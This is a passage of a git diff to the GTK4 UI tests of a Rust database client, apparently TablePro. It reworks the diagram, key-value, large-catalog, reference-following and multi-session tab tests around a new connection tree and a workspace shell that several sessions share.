     let test = TestWindow::connected_with("DiagramOneTab", sales);
-    let view = test.workspace().imp().tab_view.get();
+    let view = shell_of(&test.workspace()).imp().tab_view.get();
 
     show_diagram(&test, "sales");
     wait_until(WAIT, || diagrams(&test).len() == 1).expect("a diagram tab");
@@ -116,17 +117,17 @@ fn the_sidebar_shows_a_tables_schema_as_a_diagram() {
         .workspace()
         .read(|model| model.sidebar.clone())
         .expect("the sidebar");
-    wait_until(WAIT, || sidebar.shown() == 2).expect("the sidebar's tables");
-    let list: gtk4::ListView = first_descendant_of_type(sidebar.widget()).expect("the sidebar's list");
+    wait_until(WAIT, || crate::ui::workspace::sidebar::tests::listed(&sidebar) == 2).expect("the sidebar's tables");
     let key = (Some("sales".to_owned()), "orders".to_owned()).to_variant();
 
-    WidgetExt::activate_action(&list, "sidebar.show-diagram", Some(&key)).expect("the menu's Show ER Diagram");
+    sidebar.actions().activate_action("show-diagram", Some(&key));
 
     wait_until(WAIT, || diagrams(&test).len() == 1).expect("a diagram tab");
     let diagram = diagrams(&test).remove(0);
     assert_eq!(diagram.schema().as_deref(), Some("sales"));
-    WidgetExt::activate_action(&list, "sidebar.show-schema-diagram", Some(&Some("sales").to_variant()))
-        .expect("the section header's button");
+    sidebar
+        .actions()
+        .activate_action("show-schema-diagram", Some(&Some("sales").to_variant()));
     drain_main_context();
     assert_eq!(diagrams(&test).len(), 1);
 }
@@ -209,11 +210,11 @@ fn a_closed_diagram_reopens_and_a_saved_one_comes_back() {
         diagrams(&test)[0].places().contains(&placed()),
         "the moved table is back where it was put"
     );
-    let input = test.workspace().input().expect("the workspace's input");
+    let input = test.workspace().sender().expect("the workspace's input");
 
     input.deliver(WorkspaceInput::CloseActiveWorkspaceTab);
     wait_until(WAIT, || diagrams(&test).is_empty()).expect("the diagram closed");
-    input.deliver(WorkspaceInput::ReopenClosedTab);
+    WidgetExt::activate_action(&test.window, "win.reopen-closed-tab", None).expect("win.reopen-closed-tab");
 
     wait_until(WAIT, || diagrams(&test).len() == 1).expect("the diagram reopened");
     assert_eq!(diagrams(&test)[0].schema().as_deref(), Some("sales"));
@@ -238,7 +239,7 @@ fn a_change_to_a_table_marks_its_schemas_diagram_out_of_date() {
     let diagram = diagrams(&test).remove(0);
     drawn(&diagram);
     let banner = diagram.imp().outdated_banner.get();
-    let input = test.workspace().input().expect("the workspace's input");
+    let input = test.workspace().sender().expect("the workspace's input");
 
     input.deliver(WorkspaceInput::SchemaChanged {
         schema: Some("audit".to_owned()),
diff --git a/linux/crates/app/src/ui/workspace/tests/keys.rs b/linux/crates/app/src/ui/workspace/tests/keys.rs
index 048d482773..09d50edd0f 100644
--- a/linux/crates/app/src/ui/workspace/tests/keys.rs
+++ b/linux/crates/app/src/ui/workspace/tests/keys.rs
@@ -89,7 +89,33 @@ fn keys_window(name: &str, script: impl FnOnce(&mut ConnectionScript)) -> TestWi
 }
 
 fn shown(workspace: &Workspace) -> u32 {
-    workspace.read(|model| model.sidebar.shown()).unwrap_or_default()
+    workspace
+        .read(|model| crate::ui::workspace::sidebar::tests::listed(&model.sidebar))
+        .unwrap_or_default()
+}
+
+fn shell(workspace: &Workspace) -> crate::ui::workspace::WorkspaceShell {
+    super::shell_of(workspace)
+}
+
+/// Each key row on screen in the tree, and the type it shows beside its
+/// name.
+fn key_rows(workspace: &Workspace) -> Vec<(String, String)> {
+    let Some(tree) = shell(workspace).tree() else {
+        return Vec::new();
+    };
+    let mut rows: Vec<(String, String)> = crate::test_support::descendants(&tree.widget())
+        .into_iter()
+        .filter(|widget| widget.is_mapped() && widget.type_().name() == "TableProTreeRow")
+        .filter_map(|widget| {
+            let name = widget.first_child()?.next_sibling().and_downcast::<gtk4::Label>()?;
+            let kind = name.next_sibling().and_downcast::<gtk4::Label>()?;
+            kind.is_visible()
+                .then(|| (name.label().to_string(), kind.label().to_string()))
+        })
+        .collect();
+    rows.sort();
+    rows
 }
 
 fn key_tabs(workspace: &Workspace) -> Vec<String> {
@@ -109,7 +135,7 @@ fn key_tabs(workspace: &Workspace) -> Vec<String> {
 }
 
 fn open_key(workspace: &Workspace, name: &str) {
-    let input = workspace.input().expect("the workspace's input");
+    let input = workspace.sender().expect("the workspace's input");
     input.deliver(WorkspaceInput::SelectTable {
         schema: None,
         name: name.to_owned(),
@@ -126,14 +152,13 @@ fn a_key_value_session_lists_its_keys_with_their_types() {
 
     wait_until(WAIT, || shown(&workspace) == 3).expect("the keys listed");
 
-    let rows = workspace
-        .read(|model| model.sidebar.row_descriptions())
-        .unwrap_or_default();
+    wait_until(WAIT, || key_rows(&workspace).len() == 3).expect("the keys' rows in the tree");
+    let rows = key_rows(&workspace);
     assert!(rows.contains(&("user:1".to_owned(), "Hash".to_owned())), "{rows:?}");
     assert!(rows.contains(&("queue".to_owned(), "List".to_owned())), "{rows:?}");
-    let imp = workspace.imp();
-    assert_eq!(imp.table_search.placeholder_text().as_deref(), Some("Filter keys…"));
-    assert!(!imp.key_limit_banner.is_revealed());
+    let window_shell = shell(&workspace);
+    let imp = window_shell.imp();
+    assert!(!workspace.imp().key_limit_banner.is_revealed());
     assert_eq!(imp.empty_page.title(), "Select a Key");
     assert_eq!(imp.empty_editor_button.label().as_deref(), Some("Open Editor"));
     assert_eq!(
@@ -154,13 +179,14 @@ fn a_search_asks_the_server_for_the_keys_that_match() {
     let workspace = test.workspace();
     wait_until(WAIT, || shown(&workspace) == 3).expect("the keys listed");
 
-    workspace.imp().table_search.set_text("user");
+    let search = shell(&workspace).imp().table_search.get();
+    search.set_text("user");
 
     wait_until(WAIT, || shown(&workspace) == 1).expect("the matching key");
     let patterns = test.connection().observed_sql("scan_keys");
     assert_eq!(patterns.last().cloned().flatten().as_deref(), Some("*user*"));
 
-    workspace.imp().table_search.set_text("");
+    search.set_text("");
 
     wait_until(WAIT, || shown(&workspace) == 3).expect("every key again");
 }
@@ -190,7 +216,7 @@ fn a_key_opens_in_one_tab_that_reads_its_value() {
     wait_until(WAIT, || key_tabs(&workspace) == ["user:2"]).expect("the key's tab");
     open_key(&workspace, "user:2");
 
-    let view = workspace.imp().tab_view.get();
+    let view = shell(&workspace).tab_view();
     wait_until(Duration::from_millis(300), || view.n_pages() == 2).expect_err("a second tab for the same key");
     assert_eq!(view.n_pages(), 1);
     assert_eq!(
diff --git a/linux/crates/app/src/ui/workspace/tests/large_catalog.rs b/linux/crates/app/src/ui/workspace/tests/large_catalog.rs
index 2e9bc314f6..db5d7de7eb 100644
--- a/linux/crates/app/src/ui/workspace/tests/large_catalog.rs
+++ b/linux/crates/app/src/ui/workspace/tests/large_catalog.rs
@@ -1,8 +1,10 @@
-//! The sidebar and the editor's completion over 50,000 tables on a real
-//! server: PostgreSQL with 100 schemas of 500 tables, the default schema
-//! among them, and MySQL with one database of 50,000. Each step has a
-//! time bound, the main loop may never stall past `STALL_LIMIT`, and the
-//! catalog may not raise the resident peak past `MEMORY_LIMIT`.
+//! The connection tree and the editor's completion over 50,000 tables on
+//! a real server: PostgreSQL with 100 schemas of 500 tables, the default
+//! schema among them, and MySQL with one database of 50,000. The tree
+//! lists the session under its connection with the default schema open
+//! while the search is typed. Each step has a time bound, the main loop
+//! may never stall past `STALL_LIMIT`, and the catalog may not raise the
+//! resident peak past `MEMORY_LIMIT`.
 //!
 //! The peak is the whole process's, so the case needs a process to
 //! itself, which nextest gives every test.
@@ -34,7 +36,7 @@ use tablepro_net::DirectTcpTransport;
 use tablepro_session::runtime::{CountingHold, Tasks};
 use tablepro_session::{
     ConnectRequest, ConnectServices, ConnectionMetadata, Connector, DefaultDeadlines, DriverConnector,
-    NoStoredCredentials, RequestTarget, Session, SessionDeps,
+    NoStoredCredentials, RequestTarget, Session, SessionDeps, SessionKey,
 };
 use tablepro_ssh::{SshRuntimeCell, SshServices};
 use tablepro_test_fixtures::{FixtureCredentials, HbaMode, MysqlFixture, MysqlFlavour, MysqlOptions, PostgresFixture};
@@ -42,8 +44,10 @@ use tablepro_test_support::conformance::ResidentPeak;
 use tokio::sync::oneshot;
 use tokio_util::sync::CancellationToken;
 
-use super::super::sidebar::{SidebarAffordances, SidebarView, list_catalog};
+use super::super::sidebar::tests::{found, listed};
+use super::super::sidebar::{ConnectionTree, SidebarAffordances, SidebarView, list_catalog};
 use crate::services::active_session::ActiveSession;
+use crate::services::saved_connection_list::SavedConnectionList;
 use crate::test_support::{
     MemorySettings, StallProbe, after_next_frame, descendants, finish_on_main, test_runtime, wait_until,
 };
@@ -95,10 +99,10 @@ const STALL_LIMIT: Duration = Duration::from_millis(100);
 // key 62 ms, completion 2.6 s after MySQL's dot, a key typed into it
 // 57 ms.
 
-/// From asking for every schema's tables to the sidebar listing them.
+/// From asking for every schema's tables to the tree listing them.
 const LISTING_LIMIT: Duration = Duration::from_secs(3);
 
-/// From a key in the sidebar's search to the list it leaves.
+/// From a key in the tree's search to the rows it leaves.
 const SEARCH_LIMIT: Duration = Duration::from_millis(250);
 
 /// From asking for completion to the list on screen, the catalog read
@@ -108,7 +112,7 @@ const COMPLETION_LIMIT: Duration = Duration::from_secs(8);
 /// From a key typed in the completion's word to the list it leaves.
 const NARROW_LIMIT: Duration = Duration::from_millis(250);
 
-/// How far the catalog in the session, the sidebar and the completion
+/// How far the catalog in the session, the tree and the completion
 /// lists may raise the process's resident peak: twice what MySQL's
 /// 50,000 tables took in the first CI run, 128 MiB.
 const MEMORY_LIMIT: u64 = 256 * 1024 * 1024;
@@ -144,8 +148,9 @@ fn large_catalog_case(engine: Engine) {
     let probe = StallProbe::start();
 
     let listing = screen.list(&probe, &session, &tasks, catalog.objects.len());
+    screen.open_schema(catalog.default_schema());
     // A table tab in front keeps its row selected through the searches.
-    screen.sidebar.sync_selection(catalog.objects.get(OPEN_TABLE));
+    screen.tree.select(Some(&screen.key), catalog.objects.get(OPEN_TABLE));
     let searches = SEARCHES.map(|query| screen.search(&probe, query, catalog.matching(query)));
     let from = screen.complete(&probe, "SELECT * FROM ", catalog.default_names());
     let narrow = screen.narrow(&probe, NARROW, catalog.default_names());
@@ -244,10 +249,11 @@ impl Catalog {
 
     /// The tables of the schema the connection starts in.
     fn default_names(&self) -> HashSet<String> {
-        self.schemas
-            .first()
-            .map(|(schema, _)| self.names_in(schema))
-            .unwrap_or_default()
+        self.names_in(self.default_schema())
+    }
+
+    fn default_schema(&self) -> &str {
+        self.schemas.first().map_or("", |(schema, _)| schema.as_str())
     }
 
     /// The schema typed before a dot: one of PostgreSQL's tenants, and
@@ -650,23 +656,45 @@ struct Step {
     finished: bool,
 }
 
-/// The sidebar and an editor side by side in a window on screen. Each
-/// completion opens in an editor of its own, as in a new editor tab.
+/// The connection tree and an editor side by side in a window on
+/// screen. Each completion opens in an editor of its own, as in a new
+/// editor tab.
 struct Screen {
     window: gtk4::Window,
     panes: gtk4::Paned,
+    tree: ConnectionTree,
+    entry: gtk4::SearchEntry,
+    key: SessionKey,
     sidebar: SidebarView,
     editor: RefCell<Option<SqlEditor>>,
     session: Arc<Session>,
     tasks: Tasks,
     settings: MemorySettings,
+    _store: tempfile::TempDir,
 }
 
 impl Screen {
     fn new(session: &Arc<Session>, tasks: &Tasks) -> Self {
+        let store = tempfile::tempdir().expect("a temporary directory");
+        let connections = tablepro_storage::ConnectionStore::new(&tablepro_storage::StoragePaths::under(
+            store.path(),
+            "tablepro",
+            crate::config::APP_ID,
+        ));
+        let tree = ConnectionTree::new(SavedConnectionList::follow(
+            &connections,
+            Arc::new(tablepro_core::DriverRegistry::new()),
+        ));
+        let entry = gtk4::SearchEntry::new();
+        tree.follow_search(&entry);
         let sidebar = SidebarView::new(|_| {}, SidebarAffordances::for_session(session), Some(tasks.clone()));
+        let key = SessionKey::Saved(uuid::Uuid::new_v4());
+        tree.add_session(&key, "Large catalog", &sidebar);
+        let column = gtk4::Box::new(gtk4::Orientation::Vertical, 0);
+        column.append(&entry);
+        column.append(&tree.widget());
         let panes = gtk4::Paned::new(gtk4::Orientation::Horizontal);
-        panes.set_start_child(Some(sidebar.widget()));
+        panes.set_start_child(Some(&column));
         panes.set_position(300);
         let window = gtk4::Window::new();
         window.set_default_size(1100, 700);
@@ -679,14 +707,48 @@ impl Screen {
         Self {
             window,
             panes,
+            tree,
+            entry,
+            key,
             sidebar,
             editor: RefCell::new(None),
             session: session.clone(),
             tasks: tasks.clone(),
             settings: MemorySettings::new(),
+            _store: store,
         }
     }
 
+    /// The tree's list on screen: the tree, or what the search finds.
+    fn shown_page(&self) -> Option<String> {
+        self.tree
+            .widget()
+            .downcast::<gtk4::Stack>()
+            .ok()
+            .and_then(|pages| pages.visible_child_name())
+            .map(|name| name.to_string())
+    }
+
+    /// Open the schema `name` under the session's connection, as a user
+    /// opens the one they work in. MySQL's lone database opens itself.
+    fn open_schema(&self, name: &str) {
+        let Some(rows) = descendants(&self.tree.widget())
+            .into_iter()
+            .find_map(|widget| widget.downcast::<gtk4::ListView>().ok())
+            .and_then(|list| list.model())
+            .and_then(|selection| selection.downcast::<gtk4::SingleSelection>().ok())
+            .and_then(|selection| selection.model())
+            .and_then(|model| model.downcast::<gtk4::TreeListModel>().ok())
+        else {
+            panic!("the tree's rows");
+        };
+        let schema = (0..rows.n_items())
+            .filter_map(|at| rows.row(at))
+            .find(|row| row.depth() == 1 && row.item().is_some_and(|item| item.property::<String>("title") == name));
+        schema.expect("the default schema's row").set_expanded(true);
+        after_next_frame(&self.window);
+    }
+
     /// A new editor in place of the last, on screen with the focus,
     /// which GtkSourceView needs before it starts a completion.
     fn open_editor(&self) -> sourceview5::View {
@@ -738,8 +800,8 @@ impl Screen {
         }
     }
 
-    /// Every schema's tables, read, indexed and shown the way the
-    /// workspace does once they land.
+    /// Every schema's tables, read, indexed and listed under the
+    /// connection the way the workspace does once they land.
     fn list(&self, probe: &StallProbe, session: &Arc<Session>, tasks: &Tasks, expected: usize) -> Step {
         let expected = u32::try_from(expected).unwrap_or(u32::MAX);
         self.step(
@@ -765,16 +827,28 @@ impl Screen {
                     }
                 });
             },
-            || self.sidebar.shown() == expected,
+            || listed(&self.sidebar) == expected,
         )
     }
 
+    /// Type `query`, as the search entry sends it once the user pauses,
+    /// until the tree shows what it finds, or shows itself again for an
+    /// empty search.
     fn search(&self, probe: &StallProbe, query: &str, expected: u32) -> Step {
         self.step(
             probe,
             &format!("the search for {query:?}"),
-            || self.sidebar.set_query(query),
-            || self.sidebar.shown() == expected,
+            || {
+                self.entry.set_text(query);
+                self.entry.emit_by_name::<()>("search-changed", &[]);
+            },
+            || {
+                if query.is_empty() {
+                    self.shown_page().as_deref() == Some("tree") && found(&self.sidebar) == 0
+                } else {
+                    self.shown_page().as_deref() == Some("found") && found(&self.sidebar) == expected
+                }
+            },
         )
     }
 
@@ -824,6 +898,7 @@ impl Screen {
 
 impl Drop for Screen {
     fn drop(&mut self) {
+        self.tree.shutdown();
         self.sidebar.shutdown();
         if let Some(editor) = self.editor.take() {
             editor.shutdown();
@@ -833,14 +908,16 @@ impl Drop for Screen {
     }
 }
 
-/// A header with the icons the sidebar's rows and headings draw.
+/// A header with the icons the tree's rows draw.
 fn header_bar() -> gtk4::HeaderBar {
     let header = gtk4::HeaderBar::new();
     for icon in [
         crate::ui::icons::VIEW_GRID,
         crate::ui::icons::VIEW_LIST,
         crate::ui::icons::VIEW_PAGED,
-        crate::ui::icons::LIST_ADD,
+        crate::ui::icons::DRIVE_HARDDISK,
+        crate::ui::icons::NETWORK_SERVER,
+        crate::ui::icons::MEDIA_EJECT,
     ] {
         header.pack_start(&gtk4::Button::from_icon_name(icon));
     }
diff --git a/linux/crates/app/src/ui/workspace/tests/mod.rs b/linux/crates/app/src/ui/workspace/tests/mod.rs
index d34322185a..65fffa451f 100644
--- a/linux/crates/app/src/ui/workspace/tests/mod.rs
+++ b/linux/crates/app/src/ui/workspace/tests/mod.rs
@@ -4,4 +4,142 @@ mod diagram;
 mod keys;
 mod large_catalog;
 mod references;
+mod sessions;
+mod shell;
 mod tab_title;
+
+use gtk4::subclass::prelude::*;
+use libadwaita as adw;
+use tablepro_session::SessionKey;
+use tablepro_storage::SavedConnection;
+
+use super::{Workspace, WorkspaceInput, WorkspaceShell};
+use crate::runtime::DeliverInput;
+use crate::test_support::wait_until;
+use crate::ui::SessionWindowInput;
+use crate::ui::session_window::tests::{TestWindow, WAIT};
+
+/// The shell that holds `workspace`, as the window shows it.
+pub(crate) fn shell_of(workspace: &Workspace) -> WorkspaceShell {
+    workspace
+        .imp()
+        .shell
+        .upgrade()
+        .expect("a workspace the window holds is in its shell")
+}
+
+/// A new editor tab in `workspace`, which the tab view selects.
+pub(crate) fn new_editor_page(workspace: &Workspace) -> Option<adw::TabPage> {
+    Some(workspace.tab_factory()?.create_editor())
+}
+
+/// The change tracker of `workspace`'s tab `tab`, while the tab is open.
+pub(crate) fn row_tracker(
+    workspace: &Workspace,
+    tab: uuid::Uuid,
+) -> Option<crate::services::tab_tracker_handle::TabTrackerHandle> {
+    workspace.read(|model| model.change_trackers.get(tab)).flatten()
+}
+
+/// A server with one keyed table, whose every page is the same
+/// thousand rows.
+pub(super) fn served_table() -> tablepro_test_support::ConnectionScript {
+    use tablepro_core::column::{ColumnDefault, ColumnType};
+    use tablepro_core::meta::{RowCountEstimate, RowIdentity, TableEstimate};
+    use tablepro_core::{ColumnInfo, QueryResult, Value};
+    use tablepro_test_support::FakeReply;
+    let column = |name: &str, primary_key: bool| ColumnInfo {
+        name: name.to_owned(),
+        column_type: ColumnType::untyped_text("text"),
+        nullable: !primary_key,
+        primary_key,
+        is_auto_increment: false,
+        is_generated: false,
+        partition_scoped: false,
+        default: ColumnDefault::None,
+        comment: None,
+    };
+    let columns = vec![column("id", true), column("name", false)];
+    let page = QueryResult::new(
+        columns.iter().map(ColumnInfo::result_column).collect::<Vec<_>>(),
+        (0..1_000)
+            .map(|id| vec![Value::Int(id), Value::Text(format!("customer {id}"))])
+            .collect(),
+    );
+    let mut script = tablepro_test_support::ConnectionScript::default();
+    script.fetch_columns.always(FakeReply::ok(columns));
+    script.row_identity.always(FakeReply::ok(RowIdentity::UniqueKey {
+        columns: vec!["id".to_owned()],
+    }));
+    // Too many rows to count unasked, so Count Rows stays on the bar.
+    script.table_estimate.always(FakeReply::ok(TableEstimate {
+        rows: RowCountEstimate::Approximate(48_213_000),
+        heap_blocks: None,
+    }));
+    script.query_bound.always(FakeReply::ok(page));
+    script
+}
+
+/// A window with the test's connection open and a second one, named
+/// `other`, opened beside it.
+pub(super) struct TwoSessions {
+    pub test: TestWindow,
+    pub first: Workspace,
+    pub second: Workspace,
+    pub shell: WorkspaceShell,
+}
+
+pub(super) fn two_sessions(name: &str, other: &str) -> TwoSessions {
+    let test = TestWindow::connected(name);
+    let first = test.workspace();
+    let shell = shell_of(&first);
+    let saved = SavedConnection {
+        id: uuid::Uuid::new_v4(),
+        name: other.to_owned(),
+        database: test.dir().join("other.db").display().to_string(),
+        ..test.saved.clone()
+    };
+    test.services
+        .storage
+        .connections()
+        .upsert_blocking(saved.clone())
+        .expect("save the second connection");
+    wait_until(WAIT, || test.services.saved_connections.get(saved.id).is_some()).expect("the list to have it");
+    test.window.send(SessionWindowInput::OpenSaved(Box::new(saved.clone())));
+    let key = SessionKey::Saved(saved.id);
+    let joined = || {
+        shell
+            .sessions()
+            .into_iter()
+            .find(|workspace| workspace.key().as_ref() == Some(&key))
+    };
+    wait_until(WAIT, || joined().is_some()).expect("the second session to join");
+    let second = joined().expect("the second session");
+    TwoSessions {
+        test,
+        first,
+        second,
+        shell,
+    }
+}
+
+/// Open an editor tab in `workspace`, which comes to the front, and
+/// return its page.
+pub(super) fn open_editor(workspace: &Workspace) -> adw::TabPage {
+    let shell = shell_of(workspace);
+    let count = || workspace.imp().index.get().map_or(0, |index| index.pages().len());
+    let before = count();
+    workspace
+        .sender()
+        .expect("the workspace's input")
+        .deliver(WorkspaceInput::NewEditorTab);
+    wait_until(WAIT, || {
+        count() == before + 1
+            && shell
+                .tab_view()
+                .selected_page()
+                .is_some_and(|page| workspace.tab_id(&page).is_some())
+    })
+    .expect("the editor tab in front");
+    shell.tab_view().selected_page().expect("the editor's page")
+}
diff --git a/linux/crates/app/src/ui/workspace/tests/references.rs b/linux/crates/app/src/ui/workspace/tests/references.rs
index d6e27013a5..9913a215d1 100644
--- a/linux/crates/app/src/ui/workspace/tests/references.rs
+++ b/linux/crates/app/src/ui/workspace/tests/references.rs
@@ -10,6 +10,7 @@ use uuid::Uuid;
 
 use super::super::workspace_persistence::workspace_record;
 use super::super::{OpenMode, WorkspaceInput};
+use super::shell_of;
 use crate::runtime::DeliverInput;
 use crate::test_support::{descendants, drain_main_context, wait_until};
 use crate::ui::browse_tab::BrowseTab;
@@ -79,7 +80,7 @@ fn open_orders(test: &TestWindow) -> (Uuid, libadwaita::TabPage) {
     let workspace = test.workspace();
     let before = workspace.selected_tab();
     workspace
-        .input()
+        .sender()
         .expect("the workspace's input")
         .deliver(WorkspaceInput::SelectTable {
             schema: None,
@@ -92,13 +93,17 @@ fn open_orders(test: &TestWindow) -> (Uuid, libadwaita::TabPage) {
         id.is_some()
     })
     .expect("the orders tab");
-    let page = workspace.imp().tab_view.selected_page().expect("the orders page");
+    let page = shell_of(&workspace)
+        .imp()
+        .tab_view
+        .selected_page()
+        .expect("the orders page");
     (id.expect("the tab's id"), page)
 }
 
 fn follow(test: &TestWindow, source: Uuid, reference: RowReference) {
     test.workspace()
-        .input()
+        .sender()
         .expect("the workspace's input")
         .deliver(WorkspaceInput::FollowReference {
             tab: source,
@@ -108,7 +113,7 @@ fn follow(test: &TestWindow, source: Uuid, reference: RowReference) {
 
 /// The table tab in front once it is not `source`.
 fn front_tab_other_than(test: &TestWindow, source: &libadwaita::TabPage) -> (libadwaita::TabPage, BrowseTab) {
-    let view = test.workspace().imp().tab_view.clone();
+    let view = shell_of(&test.workspace()).imp().tab_view.clone();
     let mut front = None;
     wait_until(WAIT, || {
         front = view.selected_page().filter(|page| page != source);
@@ -124,11 +129,11 @@ fn front_tab_other_than(test: &TestWindow, source: &libadwaita::TabPage) -> (lib
 fn a_followed_key_opens_its_table_beside_the_tab_under_the_keys_filter() {
     let test = TestWindow::connected_with("FollowOpensBeside", serving_tables);
     let (source, source_page) = open_orders(&test);
-    let view = test.workspace().imp().tab_view.clone();
+    let view = shell_of(&test.workspace()).imp().tab_view.clone();
     // Another tab at the end, so beside the source is not simply last.
     let pages = view.n_pages();
     test.workspace()
-        .input()
+        .sender()
         .expect("the workspace's input")
         .deliver(WorkspaceInput::NewEditorTab);
     wait_until(WAIT, || view.n_pages() == pages + 1).expect("the editor tab");
@@ -147,7 +152,7 @@ fn a_followed_key_opens_its_table_beside_the_tab_under_the_keys_filter() {
 fn the_same_rows_followed_again_show_the_tab_already_open() {
     let test = TestWindow::connected_with("FollowReveals", serving_tables);
     let (source, source_page) = open_orders(&test);
-    let view = test.workspace().imp().tab_view.clone();
+    let view = shell_of(&test.workspace()).imp().tab_view.clone();
     follow(&test, source, customer("42"));
     let (opened, _) = front_tab_other_than(&test, &source_page);
     let pages = view.n_pages();
@@ -168,9 +173,9 @@ fn the_same_rows_followed_again_show_the_tab_already_open() {
 fn a_key_to_a_table_that_is_gone_says_so_and_opens_nothing() {
     let test = TestWindow::connected_with("FollowMissing", serving_tables);
     let (source, _) = open_orders(&test);
-    let view = test.workspace().imp().tab_view.clone();
+    let view = shell_of(&test.workspace()).imp().tab_view.clone();
     let pages = view.n_pages();
-    let overlay = test.workspace().toast_overlay();
+    let overlay = shell_of(&test.workspace()).toast_overlay();
 
     follow(
         &test,
@@ -215,14 +220,14 @@ fn a_followed_tab_keeps_its_filter_in_the_saved_tabs_and_through_a_reopen() {
         .collect();
     assert_eq!(kept, [Some(customer("42").filter)]);
 
-    workspace.imp().tab_view.set_selected_page(&page);
-    let input = workspace.input().expect("the workspace's input");
+    shell_of(&workspace).imp().tab_view.set_selected_page(&page);
+    let input = workspace.sender().expect("the workspace's input");
     input.deliver(WorkspaceInput::CloseActiveWorkspaceTab);
     wait_until(WAIT, || {
-        workspace.imp().tab_view.selected_page().as_ref() == Some(&source_page)
+        shell_of(&workspace).imp().tab_view.selected_page().as_ref() == Some(&source_page)
     })
     .expect("the tab closes back to its source");
-    input.deliver(WorkspaceInput::ReopenClosedTab);
+    WidgetExt::activate_action(&test.window, "win.reopen-closed-tab", None).expect("win.reopen-closed-tab");
     let (_, reopened) = front_tab_other_than(&test, &source_page);
 
     assert_eq!(reopened.table(), "customers");
diff --git a/linux/crates/app/src/ui/workspace/tests/sessions.rs b/linux/crates/app/src/ui/workspace/tests/sessions.rs
new file mode 100644
index 0000000000..046eb2f954
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/tests/sessions.rs
@@ -0,0 +1,156 @@
+//! Two sessions in one shell: which one is in front, and the tab bar
+//! they share.
+
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+
+use super::{open_editor, two_sessions};
+use crate::test_support::wait_until;
+use crate::ui::session_window::tests::WAIT;
+
+#[gtk4::test]
+fn the_front_follows_the_tab_on_screen() {
+    let sessions = two_sessions("FrontFollowsTab", "Other");
+    let (shell, first, second) = (&sessions.shell, &sessions.first, &sessions.second);
+    let heading = shell.imp().window_title.get();
+    assert_eq!(
+        shell.front().as_ref(),
+        Some(second),
+        "with no tab on screen the session that joined last speaks for the window"
+    );
+
+    let ours = open_editor(first);
+    assert_eq!(
+        shell.front().as_ref(),
+        Some(first),
+        "the first tab of an empty bar left its session behind"
+    );
+    let theirs = open_editor(second);
+    assert_eq!(shell.front().as_ref(), Some(second));
+    wait_until(WAIT, || heading.subtitle() == "Other").expect("the header to name the other connection");
+
+    shell.tab_view().set_selected_page(&ours);
+
+    assert_eq!(
+        shell.front().as_ref(),
+        Some(first),
+        "the front waited for the main loop"
+    );
+    assert_eq!(heading.title(), "Query 1");
+    assert_eq!(heading.subtitle(), "Fake");
+    wait_until(WAIT, || {
+        sessions.test.window.title().as_deref() == Some("Query 1 (Fake) - TablePro")
+    })
+    .expect("the window's title to follow");
+    shell.tab_view().set_selected_page(&theirs);
+    assert_eq!(heading.subtitle(), "Other");
+}
+
+#[gtk4::test]
+fn showing_a_session_brings_its_tab_or_opens_an_editor_for_it() {
+    let sessions = two_sessions("ShowSession", "Other");
+    let (shell, first, second) = (&sessions.shell, &sessions.first, &sessions.second);
+    let view = shell.tab_view();
+    let ours = open_editor(first);
+
+    shell.show_session(second);
+
+    assert_eq!(
+        shell.front().as_ref(),
+        Some(second),
+        "the window's actions still went to the other session"
+    );
+    wait_until(WAIT, || {
+        view.selected_page().is_some_and(|page| second.tab_id(&page).is_some())
+    })
+    .expect("an editor for the session with no tab");
+
+    shell.show_session(first);
+
+    assert_eq!(
+        view.selected_page(),
+        Some(ours),
+        "the session came back without the tab it was left on"
+    );
+    assert_eq!(shell.front().as_ref(), Some(first));
+}
+
+#[gtk4::test]
+fn reopen_brings_back_a_tab_closed_in_the_session_behind() {
+    let sessions = two_sessions("ReopenAcross", "Other");
+    let (shell, first, second) = (&sessions.shell, &sessions.first, &sessions.second);
+    let view = shell.tab_view();
+    let theirs = open_editor(second);
+    let ours = open_editor(first);
+
+    view.close_page(&ours);
+    wait_until(WAIT, || !first.has_tabs()).expect("the tab to close");
+    assert_eq!(view.selected_page(), Some(theirs));
+    assert_eq!(
+        shell.front().as_ref(),
+        Some(second),
+        "the tab shown next speaks for the window"
+    );
+
+    WidgetExt::activate_action(&sessions.test.window, "win.reopen-closed-tab", None).expect("win.reopen-closed-tab");
+
+    wait_until(WAIT, || first.has_tabs()).expect("the tab back in the session it was closed in");
+    assert_eq!(shell.front().as_ref(), Some(first));
+    assert_eq!(view.n_pages(), 2, "the reopen went to the other session");
+}
+
+#[gtk4::test]
+fn close_other_tabs_closes_the_tabs_of_every_session() {
+    let sessions = two_sessions("CloseOthersAcross", "Other");
+    let (shell, first, second) = (&sessions.shell, &sessions.first, &sessions.second);
+    let view = shell.tab_view();
+    let kept = open_editor(first);
+    open_editor(first);
+    open_editor(second);
+    shell.imp().menu_target.replace(Some(kept.clone()));
+
+    WidgetExt::activate_action(&view, "tab.close-others", None).expect("Close Other Tabs");
+
+    wait_until(WAIT, || view.n_pages() == 1).expect("every other tab to close");
+    assert_eq!(view.nth_page(0), kept);
+    assert!(!second.has_tabs(), "the other session's tab stayed");
+}
+
+#[gtk4::test]
+fn the_tab_menu_closes_later_tabs_of_any_session_and_ends_with_close() {
+    let sessions = two_sessions("CloseAfterAcross", "Other");
+    let (shell, first, second) = (&sessions.shell, &sessions.first, &sessions.second);
+    let view = shell.tab_view();
+    let before = open_editor(first);
+    let anchor = open_editor(second);
+    open_editor(first);
+    open_editor(second);
+    shell.imp().menu_target.replace(Some(anchor.clone()));
+
+    WidgetExt::activate_action(&view, "tab.close-after", None).expect("Close Tabs After This One");
+
+    wait_until(WAIT, || view.n_pages() == 2).expect("the later tabs to close");
+    assert_eq!((view.nth_page(0), view.nth_page(1)), (before, anchor));
+    let menu = view.menu_model().expect("the tab menu");
+    let sections: Vec<gio::MenuModel> = (0..menu.n_items())
+        .filter_map(|section| menu.item_link(section, "section"))
+        .collect();
+    let attribute = |items: &gio::MenuModel, item: i32, name: &str| {
+        items
+            .item_attribute_value(item, name, None)
+            .and_then(|value| value.get::<String>())
+            .unwrap_or_default()
+    };
+    let last = sections.last().expect("a section");
+    assert_eq!(
+        attribute(last, last.n_items() - 1, "action"),
+        "tab.close",
+        "Close is not the last item"
+    );
+    for items in &sections {
+        for item in 0..items.n_items() {
+            let label = attribute(items, item, "label");
+            assert!(!label.contains("Left") && !label.contains("Right"), "{label}");
+        }
+    }
+}
